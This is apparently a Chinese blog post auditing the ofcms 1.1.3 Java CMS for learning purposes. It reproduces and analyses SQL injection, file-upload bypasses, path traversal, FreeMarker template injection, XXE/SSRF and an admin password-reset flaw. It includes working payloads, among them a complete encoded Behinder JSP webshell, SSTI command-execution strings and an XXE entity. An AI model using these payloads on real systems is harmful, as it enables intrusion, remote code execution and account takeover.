【Java代码审计】ofcms 1.1.3

写在前面

通过审计一些简单的源码学习代码审计。在审计过程感觉还是有很多代码看不懂,不管那么多了,先审起来。

后台sql注入漏洞

漏洞复现

登录后台后,在系统设置->代码生成->添加中输入如下payload

1
update of_cms_ad set ad_id=updatexml(1, concat(0x7e, (database()),0x7e),1);
image-20221108193229964

可以看到成功爆出了数据库名。

漏洞分析

image-20221108193429152

通过burp抓包,可以看到请求的路由。

在IDEA中 全局搜索system/generate

image-20221108193612162

可以找到处理这个路由的类文件,在这个文件的45行可以看到一个create方法,刚刚的路由就是调用这个方法。

image-20221108193732814

这里的getPara获取了传入的sql语句

image-20221108200153660

接下来,跟进Db.update中。

image-20221108194011569

继续跟进

image-20221108194032669

继续跟进

image-20221108194120816

这里先是建立了一个数据库连接,然后再次调用了update方法,继续跟进

image-20221108194330818

这里就是比较关键的地方了,conn.prepareStatement是用来预编译sql语句的,executeUpdate 则是可以执行sql语句。

预编译通常都是先构造一个sql语句,然后需要传入的参数用?代替,然后挨个放进去,目的就是为了预防sql注入。但是这整条sql语句我们都能够控制。预编译根本没起到什么作用,也没有对sql做过滤,所以可以自己构造update报错语句进行报错注入。

任意文件上传2

漏洞复现

image-20221108195433414

这里先上传一个 文件后缀为 图片格式 png 的 jsp webshell,然后抓包。

image-20221108195645598

当上传gif后缀格式的时候,是可以上传成功的。

image-20221108195733593

但是上传jsp后缀格式就不行,由于是在windows下,使用::$DATA后缀绕过上传

image-20221108195844354

在来看看上传文件目录下

image-20221108200028953

当然,如果直接访问是访问不了的

漏洞分析

还是通过burp抓包,查看请求的路由

image-20221108200254143

全局搜索comn/service

image-20221108200356295

ComnController文件的101行

image-20221108200452930

上面是文件上传的逻辑,jfinal 使用 getFile进行文件上传,跟进getFile

image-20221108201349529

再次跟进

image-20221108201431339

跟进 MultipartRequest

image-20221108201508151

跟进wrapMultipartRequest方法

image-20221108201552991

在86行调用了一个 isSafeFile的方法

image-20221108201645481

这里拿到了上传文件的文件名,去重并转换成小写,然后判断文件名末尾是否为.jsp.jspx,如果是则返回flase,就不进行上传。

但是在windows下,绕过的方式可以用shell.jsp::$DATA或在文件名末尾加.,比如shell.jsp. 都会保存为shell.jsp

任意文件上传2

漏洞复现

image-20221108205244764

在系统设置->模板文件中,点击保存,然后burp抓包

image-20221108205339006

这里将 dirs 改成 ../../../static , file_name改成shell.jsp ,file_content改成jsp冰蝎马

1
file_path=E%3A%5CTools%5CEnv%5Capache-tomcat-8.5.73%5Cwebapps%5Cofcms_admin%5CWEB-INF%5Cpage%5Cdefault%5Cindex.html&dirs=../../../static&res_path=&file_name=shell.jsp&file_content=<jsp%3aroot+xmlns%3ajsp%3d"http%3a//java.sun.com/JSP/Page"+version%3d"1.2"><jsp%3adirective.page+import%3d"java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp%3adeclaration>+class+U+extends+ClassLoader{U(ClassLoader+c){super(c)%3b}public+Class+g(byte+[]b){return+super.defineClass(b,0,b.length)%3b}}</jsp%3adeclaration><jsp%3ascriptlet>String+k%3d"e45e329feb5d925b"%3bsession.putValue("u",k)%3bCipher+c%3dCipher.getInstance("AES")%3bc.init(2,new+SecretKeySpec((session.getValue("u")%2b"").getBytes(),"AES"))%3bnew+U(this.getClass().getClassLoader()).g(c.doFinal(new+sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)%3b</jsp%3ascriptlet></jsp%3aroot>
image-20221108205707387

ofcms_admin\static

image-20221108205759501

可以看到已经成功上传,直接用冰蝎连接

image-20221108205942574

成功拿下

漏洞分析

通过burp抓包可以路由为/ofcms_admin/admin/cms/template/save.json

TemplateController.java文件中

image-20221108210116248

在107行

image-20221108210258803

简单分析下,这里可以通过外部控制 res_path dirs file_name file_content这四个参数。

1
2
3
fileContent = fileContent.replace("&lt;", "<").replace("&gt;", ">"); 
File file = new File(pathFile, fileName); // 创建文件 文件路径 文件名可控
FileUtils.writeString(file, fileContent); // 将内容写入文件中 文件内容可控

经过分析,相当于是文件路径和文件名还有文件内容我们都可以控制,并且没有对文件名和文件内容进行限制,想传入什么都可以。而且文件路径还可以通过../../进行目录穿越,可以实现将文件传入到任意目录下。

1
pathFile = new File(SystemUtile.getSiteTemplatePath());

这条语句则会得到一个基础路径,通过debug可以得知

image-20221108210718445

通过测试,可以访问到网站跟目录下的static下的资源文件,可以控制dirs../../../static 将冰蝎传入到static目录下,冰蝎链接,即可拿下。

模板注入

漏洞复现

image-20221109094221357

任选一个payload放在模板文件的任意位置。

1
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
1
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}
1
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>

然后让我一个不存在的文件,就会自动跳转到404页面,然后弹出计算器。

image-20221109094451051

漏洞分析

这里的原理也很简单,这套网站使用了freemarker作为模板语言,并且我们还能控制网页模板文件,因此,只要能控制网页的地方,都可以将<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")} 执行命令的语句嵌入到网页中,然后访问就会执行。

image-20221109095115295

XML注入

漏洞复现

首先在本地用python起一个http监听

image-20221109105615257

然后通过上面任意文件上传2的方式上传一个后缀为jrxml格式的文件

ssrf.jrxml内容

1
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://127.0.0.1:8000/secret_pass.txt">%xxe;]>

data

1
file_path=E%3A%5CTools%5CEnv%5Capache-tomcat-8.5.73%5Cwebapps%5Cofcms_admin%5CWEB-INF%5Cpage%5Cdefault%5Cindex.html&dirs=../../&res_path=&file_name=ssrf.jrxml&file_content=<!DOCTYPE+foo+[<!ENTITY+%25+xxe+SYSTEM+"http%3a//127.0.0.1/secret_pass.txt">%25xxe%3b]>
image-20221109105133226

然后再访问用户管理->系统设置->导出全部,并抓包

image-20221109105342865
image-20221109105504935

发送到Repeater,修改j的参数为 ../ssrf 并提交

image-20221109105844310

python收到了请求

image-20221109105913205

漏洞分析

根据路由report找到 ReprotAction.java

image-20221109113357196

这段代码的功能就是用来导出报表的,前端可以传入参数j 可以控制读取 jrxml文件。

假设j传入的是ssrf, 那么 jrxmlFileName 变量得到的路径就是

1
/WEB-INF/jrxml/ssrf.jrxml

如果传入 ../ssrf 那么就会加载 WEB-INF目录下的ssrf.jrxml文件,所以通过目录穿越的方式,可以加载任意路径下的jrxml文件

1
/WEB-INF/jrxml/../ssrf.jrxml

但是只是加载任意路径下的jrxml 文件,有有什么用呢?

接下来,在46行中

image-20221109115424458

跟入compileReport

image-20221109115704349

继续跟入

image-20221109115743356

这里的 JRXmlLoader.load(inputStream)这个方法 则可以解析 jrxml。而这里的inputStream 参数就是,刚刚通过j传入的文件名,然后进行拼接后打开文件流,只要能上传一个通过精心构造一个jrxml文件,那么就可以实现ssrf,读取文件。但是这里不会回显读取后的结果,所以只能构造一个实现ssrf jrxml文件。

1
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://127.0.0.1:8000/secret_pass.txt">%xxe;]>

这里就利用了任意文件上传2中保存模板的方式在任意一个路径下,让后修改j的参数去路径下读取,即可加载到这个jrxml文件,实现ssrf攻击。

任意用户密码重置

漏洞复现

创建一个test用户,并登录到test

image-20221109154802275

修改密码

image-20221109154839882

然后抓包

image-20221109154950578

发送到Repeater,修改user_id 的参数为1,即可修改管理员 admin密码 为 666666

image-20221109155107245

接下来 登录到 admin

image-20221109155230036

成功登录

漏洞分析

根据密码重置的路由 /ofcms_admin/admin/system/user/respwd.json 在源码中找到SysUserController.java

image-20221109155353930

在 109行

image-20221109155527185

在 respwd这个方法当中,首先会拿到两次输入的密码进行比对,如果不一致则直接返回,一致则将密码进行Sha256Hash进行加密然后set到Record这个对象中,这个Record对象就是封装了一个Map对象,可以对其进行get,set,最关键的一个地方就是,下面还获取了user_id 也并设置到Record对象中。然后执行Db.update。这里以user_id作为更新条件 从 record中去获取user_id,然后record中的user_id的其实就是外部传入的user_id。所以才可以通过控制user_id来重置任意用户密码。

到此就结束了,在审计的过程当中,有很多代码我都读不懂,读不懂的原因是因为使用了开发框架,没有去使用过,所以看起来很费劲。